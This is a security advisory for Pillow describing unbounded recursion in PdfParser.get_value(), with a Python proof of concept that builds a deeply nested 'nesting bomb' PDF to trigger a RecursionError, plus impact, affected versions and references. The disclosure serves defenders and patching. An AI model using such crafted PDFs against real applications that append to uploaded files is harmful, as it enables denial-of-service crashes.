Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()
Summary
PdfParser's get_value() can recurse without any limit and crash with an uncaught RecursionError. It is reachable through Image.save(im, fp=<pdf>, format="PDF", append=True) when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.
Details
get_value() in src/PIL/PdfParser.py
This is a classmethod that takes max_nesting: int = -1 and has a guard:
if max_nesting == 0:
return None, NoneEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes max_nesting=max_nesting - 1. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid /Pages tree, since read_pdf_info() parses the /Root object's own dictionary first, before checking anything else.
This advisory reports a single vulnerability: an ineffective recursion-depth guard in PdfParser.get_value() (the sentinel -1 default never reaches the == 0 check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() .
Steps to reproduce
Both PDFs below are plain text, built directly in Python, no PDF library needed.
from PIL.PdfParser import PdfParser
def build_pdf(root):
out = bytearray(b"%PDF-1.4\n")
offset = len(out)
out += f"1 0 obj\n".encode()
out += root
out += b"\nendobj\n"
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
xref_offset = len(out)
out += b"xref\n"
out += f"0 2\n".encode()
out += b"0000000000 65535 f \n"
out += f"{offset:010d} 00000 ".encode() + b"n \n"
out += b"trailer\n"
out += f"<< /Size 2 /Root 1 0 R >>\n".encode()
out += b"startxref\n"
out += f"{xref_offset}\n".encode()
out += b"%%EOF"
return bytes(out)
bomb = b"[" * 3000 + b"]" * 3000
root = b"<< /Type /Catalog /Pages 2 0 R /Bomb " + bomb + b" >>"
with open("nesting_bomb.pdf", "wb") as f:
f.write(build_pdf(root))
PdfParser("nesting_bomb.pdf") # raises RecursionErrorExpected: a clean PdfFormatError.
Actual: raises a raw RecursionError: maximum recursion depth exceeded.
Impact
- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (
Image.save(..., format="PDF", append=True)) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none.
- Integrity: none.
- Pillow cannot open PDFs for reading through
Image.open().PdfParseris only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h
- https://nvd.nist.gov/vuln/detail/CVE-2026-112391
- https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-835- Platform
- Python (PyPI)
- Package
pillow- Disclosed
- 21.10.2026
- Updated
- 22.10.2026 18:07
Sources and licenses
OSV / GitHub Advisory Database - GHSA-254f-3936-288h - CC BY 4.0
Vulnerability history: pillow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 98
- First → latest
- 04.2014 10.2026
- Without a fix
- 0
- Exploited in attacks
- 1
Severity breakdown
- Critical 12
- High 57
- Medium 27
- Low 1
- Unrated 1
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 40
earlier: 12
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Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree() this entry
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